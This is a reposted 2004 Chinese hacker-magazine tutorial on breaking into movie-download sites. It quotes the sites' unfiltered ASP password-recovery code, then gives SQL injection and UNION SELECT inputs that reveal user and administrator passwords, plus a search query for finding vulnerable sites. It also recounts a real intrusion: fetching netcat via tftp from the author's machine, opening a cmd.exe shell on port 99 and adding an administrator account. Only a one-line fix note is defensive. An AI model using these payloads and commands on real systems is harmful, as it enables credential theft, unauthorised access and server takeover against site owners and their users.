萬盛學電腦網

 萬盛學電腦網 >> 數據庫 >> sql server教程 >> SQL注入奇招致勝 UNION查詢輕松免費看電影

SQL注入奇招致勝 UNION查詢輕松免費看電影

此文發表在2004年黑客X檔案第4期 

周末無聊,同學想讓我幫他下載一些電影看,我爽快的答應了。看了這麼多期X檔案,水平自然長進不少,也沒事玩玩"雞"。這次想免費下載些電影,沒問題(我知道N多電影程序有漏洞)。閒話少說,切入正題。

我打開Google,隨便搜索了一下電影網站,點開了一個。看了一下界面,知道和金梅電影系統關聯很大。金梅系統和"洞"網(7.0安全多啦,自己想的)差不多,也是有N多漏洞,比如注入啊,COOKIE欺騙什麼的。我就在X檔案03年11期看過一篇文章,寫的是用ASC和MID函數對系統管理員帳戶進行猜測。我也想用這種方法猜測,猜了半天都沒猜對,真煩人,同學還在那邊等我哪,這不是很丟人。我決定找個簡單的辦法,還是讀讀源碼吧!

下載了一個金梅三電影系統,看了一下,這麼多個文件,頭馬上大了。還是在自己電腦上運行一下吧。注冊了一個用戶,點了一下找回密碼,別人說這裡有漏洞。看了一下,象是有漏洞的界面,有三個參數,還直接把密碼顯示出來。好,看一下源碼。

39        <% if request("myuserid")="" then %>

...
 

  58   <%else

            set rs=server.createobject("adodb.recordset")

            sql="select password from users where userid='"&request("myuserid")&"'and city='"&request("ask")&"'and adress='"&request("answer")&"'"

            rs.open sql,conn,1,1

            if rs.eof and rs.bof then%>

這裡果然沒過濾。好多人都想到了可以用上面的方法注入了。能不能有更簡單的方法呢?

我仔細考慮語句的形式如下:

select password from users where userid=‘‘ and city=‘‘ and adress='‘

如果用戶名,密碼提示問題(city),密碼提示答案(adress)和表users一行匹配,便打印這行的password,而且是明文的。我想的過程就不寫了,後來我想到了一種方法,就是利用union查詢。Access功能是很弱的,不能執行命令,不能導出文本,還不能注釋。有個子查詢可以利用之外,也就剩下這個 union了。

[1] [2] 下一頁  

怎麼利用呢?先在本機做實驗。測試過程簡略,直接寫有所收獲的結果。


要是知道了一個該網站的一個用戶名(比如abc),可以這樣利用。

在"你注冊問題"處填: abc' or  ‘1=1(如果用戶名是bcd,就變為bcd' or ‘1=1)

密碼提示問題處隨便填幾個字母或數字,最好別有符號,容易影響結果: 比如字母a

密碼提示答案處隨便填幾個字母或數字,填個a

回車後就看到該用戶的密碼了,簡單吧(如圖一)。

其實這樣一來,上面的語句就變為:
 

select password from users where userid=‘abc'  or  ‘1=1‘ and city=‘a‘ and adress='a‘

呵呵,程序無條件的執行了,因為被 or ‘1=1'跳過後面的驗證了。


可是網站用戶名也不是輕易得到的啊。別急,得到用戶名一樣簡單。如下:


在"你注冊問題"處隨便處填幾個字母或數字,最好別有符號,容易影響結果: 比如字母a

密碼提示問題處和上面一樣,隨便填:我也填個a

關鍵是在密碼提示答案:我填的是a' union select  userid  from users where oklook>=3 or '0

上面就是要找黃金用戶的帳戶名(如圖二),看到用戶名後再用前面的方法找到密碼。

可以在where後面加很多參數並賦不同的值可以得到很多帳戶。

按上面的填入後輸入語句就變成了:

select password from users where userid=‘a‘ and city=‘a‘ and adress=' a' union select  userid  from users  where oklook>=3 or '0 ‘
 

細心的讀者看到這可能已經想到怎樣得到管理員的帳號和密碼,不錯,也很簡單。我也不寫過程了,直接寫出語句如下:

得到帳號:
 
select password from users where userid=‘a‘ and city=‘a‘ and adress=' a' union select  name  from okwiantgo  where  id>=1 or '0 ‘

得到密碼:

select password from users where userid=‘a‘ and city=‘a‘ and adress=' a' union select  pwd  from okwiantgo  where  id>=1 or '0 ‘


然後登陸就行了,路徑格式為:

http://網站電影路徑/findaccout.ASP?name=管理員帳號&pwd=管理員密碼

回車,很輕松就進管理界面了。(如圖三)

有時findaccount.asp可能被改名了,這時只能拿個黃金帳戶了。

這個漏洞有很多電影程序有,有的程序表名不是okwiantgo(程序會報告64行屬性不對),改成admin或password.,把上面的輸入稍微修改一下行了。這樣一來不管是多復雜的密碼,或者是中文密碼都沒問題。再猜管理員帳戶的時候也要多,where後面的條件多變化才行,否則可能得不到超級管理員。
 

這個漏洞使用很簡單,危害極大,輕易可以得到管理員帳戶。如果系統配置不當,在upload/uploadmovie.asp允許上傳ASP文件,系統就很容易換主人了。我曾經成功滲透過這樣一個網站,簡單過程敘述如下。

上傳一個ASP程序,發現該系統運行SQLSERVER,通過讀源文件看到了sa的密碼,用sqlexec連接,tftp上傳nc.exe。再次dir發現nc被刪了,有防火強。用tftp上傳nc.jpg肯定萬無一失, tftp  -i 我的IP get nc.exe nc.jpg,上傳成功。在sqlexec運行

nc.jpg -l -p 99 -e  c\winnt\system32\cmd.exe

nc想必都很熟悉了吧,上面就是再目標機器上開一個99端口監聽,同時把cmd.exe重定向到這裡,本地連接nc.exe  -vv 目標IP   99,得到shell,而且是管理員權限。

輸入 net user abc 123456 /add  &&  net  localgroup administrators abc /add

添加用戶成功順便加入管理員,&&意思是前面成功後面執行。該系統開著3389,省了我好多事情。


好了回到正題,這個漏洞存在80%以上電影程序中,在google裡搜索user/wantpws.asp,打開後發現可以輸入三個參數,且把密碼直接顯示的都有此漏洞。


修補方法,應該對三個參數進行嚴格驗證,而且把結果發送的到郵箱裡更穩妥,有的網站是這樣做的。


總結:我寫此問的目的是想說好多問題要多想多試,一個漏洞利用方法不只一種,我們要自己學會發現。入侵過程靈活多樣,我們應動腦筋。大家免費看電影的同時可別搞破壞啊,任何後果與我無關。同時我也希望看到這篇文章後,網站盡快更改。

上一頁  [1] [2] 

關鍵詞:電影 

copyright © 萬盛學電腦網 all rights reserved